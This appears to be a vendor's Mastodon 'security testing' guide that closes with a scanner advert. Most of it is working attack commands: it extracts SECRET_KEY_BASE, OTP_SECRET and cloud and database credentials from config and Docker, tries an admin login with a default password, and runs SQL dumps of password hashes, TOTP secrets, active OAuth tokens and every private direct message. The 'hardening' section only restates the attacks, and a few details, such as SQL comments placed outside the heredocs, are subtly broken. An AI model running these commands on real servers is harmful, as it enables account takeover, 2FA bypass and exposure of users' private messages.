Mastodon Security Testing: Default Credentials, API Key, Database, and Social Media Data

Mastodon is a widely deployed self-hosted federated social media server — organizations and communities use it to run their own Twitter-like platforms. Key assessment areas: SECRET_KEY_BASE and OTP_SECRET from .env.production enable session token forgery and two-factor authentication bypass; PostgreSQL stores all private direct messages and OAuth application tokens; the admin panel provides full control over all accounts; and the Sidekiq web UI is often deployed without authentication providing RCE via job injection. This guide covers systematic Mastodon security assessment.

Table of Contents

  1. Environment Variable Extraction and Key Compromise
  2. Admin Panel Access and API Token Enumeration
  3. PostgreSQL Database User and Message Extraction
  4. Mastodon Security Hardening

Environment Variable Extraction and Key Compromise

# Mastodon — environment variable extraction and key compromise
MASTODON_URL="https://social.example.com"

# .env.production — Mastodon primary configuration (all secrets)
cat /home/mastodon/live/.env.production 2>/dev/null | grep -v "^#" | grep -v "^$"
# Critical secrets:
# SECRET_KEY_BASE — Rails session signing key (session token forgery)
# OTP_SECRET — TOTP two-factor authentication secret (2FA bypass)
# VAPID_PRIVATE_KEY — Web push notification signing key
# SMTP_PASSWORD — email delivery password
# AWS_SECRET_ACCESS_KEY or S3_SECRET_ACCESS_KEY — media storage key
# DB_PASS — PostgreSQL password
# REDIS_URL — Redis connection string (may include password)

# Docker environment
docker inspect mastodon_web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','KEY','PASSWORD','PASS','AWS','S3','VAPID','SMTP']):
            print(e)
" 2>/dev/null

# Sidekiq web UI — often deployed without authentication
SIDEKIQ=$(curl -s -o /dev/null -w "%{http_code}" "${MASTODON_URL}/sidekiq" 2>/dev/null)
echo "Sidekiq UI: HTTP $SIDEKIQ"
# 200 = Sidekiq UI accessible without authentication
# Sidekiq UI allows: viewing all background jobs, retrying failed jobs,
# and in some configurations triggering arbitrary job execution

# Check if Rails debug mode is enabled (stack traces with env vars)
curl -s "${MASTODON_URL}/nonexistent_path_that_triggers_500" 2>/dev/null | \
  grep -i "SECRET_KEY_BASE\|env\|password" | head -5

Admin Panel Access and API Token Enumeration

# Mastodon admin panel and API token enumeration
MASTODON_URL="https://social.example.com"

# Admin panel login — first registered user is often admin
curl -s -X POST "${MASTODON_URL}/auth/sign_in" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c /tmp/mast_jar \
  -d "user[email]=admin@example.com&user[password]=password" \
  -o /dev/null -w "%{http_code}" 2>/dev/null

# Admin API — user enumeration (requires admin scope token)
ADMIN_TOKEN="your-admin-token"
curl -s "${MASTODON_URL}/api/v1/admin/accounts?limit=200" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Accounts: {len(d)}')
for u in d[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")}@{u.get(\"domain\",\"local\")}')
    print(f'    email={u.get(\"email\")} admin={u.get(\"role\",{}).get(\"name\")}')
    print(f'    confirmed={u.get(\"confirmed\")} suspended={u.get(\"suspended\")}')
" 2>/dev/null

# All OAuth application tokens (regular user endpoint)
curl -s "${MASTODON_URL}/api/v1/oauth_tokens" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'OAuth tokens: {len(d)}')
    for t in d[:5]:
        print(f'  app={t.get(\"app\",{}).get(\"name\")} scopes={t.get(\"scopes\")}')
except: pass
" 2>/dev/null

# Instance federation secrets
curl -s "${MASTODON_URL}/.well-known/webfinger?resource=acct:admin@${MASTODON_URL#https://}" \
  2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d)" 2>/dev/null

PostgreSQL Database User and Message Extraction

# Mastodon PostgreSQL database extraction
MASTODON_DB="mastodon_production"  # or mastodon

psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
-- All user accounts with credentials
SELECT id, username, email,
       encrypted_password,  -- bcrypt hash
       otp_secret,          -- TOTP secret (2FA bypass if extracted)
       confirmed_at,
       admin,               -- true=admin
       created_at
FROM accounts
WHERE domain IS NULL  -- local accounts only
ORDER BY admin DESC, created_at
LIMIT 20;
EOF

-- All private direct messages (Mastodon stores them in statuses)
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
SELECT s.id,
       a.username as author,
       s.text,              -- message content
       s.visibility,        -- 'direct' = DM
       s.created_at
FROM statuses s
JOIN accounts a ON s.account_id = a.id
WHERE s.visibility = 'direct'
ORDER BY s.created_at DESC
LIMIT 20;
EOF
-- Direct messages are stored unencrypted in PostgreSQL

-- All OAuth access tokens
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
SELECT oa.token,
       oa.scopes,
       oa.created_at,
       oa.revoked_at,
       a.username
FROM oauth_access_tokens oa
JOIN users u ON oa.resource_owner_id = u.id
JOIN accounts a ON u.account_id = a.id
WHERE oa.revoked_at IS NULL
ORDER BY oa.created_at DESC
LIMIT 20;
EOF

-- Media attachment S3 paths
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
SELECT ma.file_file_name, ma.file_content_type,
       ma.file_file_size, ma.account_id,
       ma.created_at
FROM media_attachments ma
ORDER BY ma.created_at DESC
LIMIT 10;
EOF

Mastodon Security Hardening

Mastodon Security Hardening Checklist:
Security TestMethodRisk
SECRET_KEY_BASE and OTP_SECRET extraction from .env.productionRead .env.production — SECRET_KEY_BASE enables arbitrary session token forgery for any account; OTP_SECRET enables computing TOTP codes bypassing two-factor authentication for all usersCritical
Sidekiq web UI unauthenticated accessGET /sidekiq — if accessible without auth, view all job data (user emails in parameters), retry jobs; in some configurations inject arbitrary background jobsHigh
PostgreSQL direct message extractionSELECT text FROM statuses WHERE visibility='direct' — all private DMs stored in plaintext; no encryption at rest; complete private conversation historyHigh
OAuth access token enumerationSELECT token FROM oauth_access_tokens WHERE revoked_at IS NULL — all active OAuth tokens for all users; persistent API access to all accountsHigh
S3 media bucket credential extractionRead AWS_SECRET_ACCESS_KEY from .env.production — full access to media bucket; all uploaded images, videos, and files including private attachmentsHigh

Automate Mastodon Security Testing

Ironimo tests Mastodon deployments for .env.production SECRET_KEY_BASE and OTP_SECRET extraction, Sidekiq web UI unauthenticated access, admin panel credential testing, PostgreSQL direct message plaintext extraction, OAuth access token enumeration, S3_SECRET_ACCESS_KEY media bucket access, VAPID_PRIVATE_KEY push notification signing, accounts table bcrypt password hash and otp_secret extraction, federation actor private key exposure, and SMTP_PASSWORD email credential disclosure.

Start free scan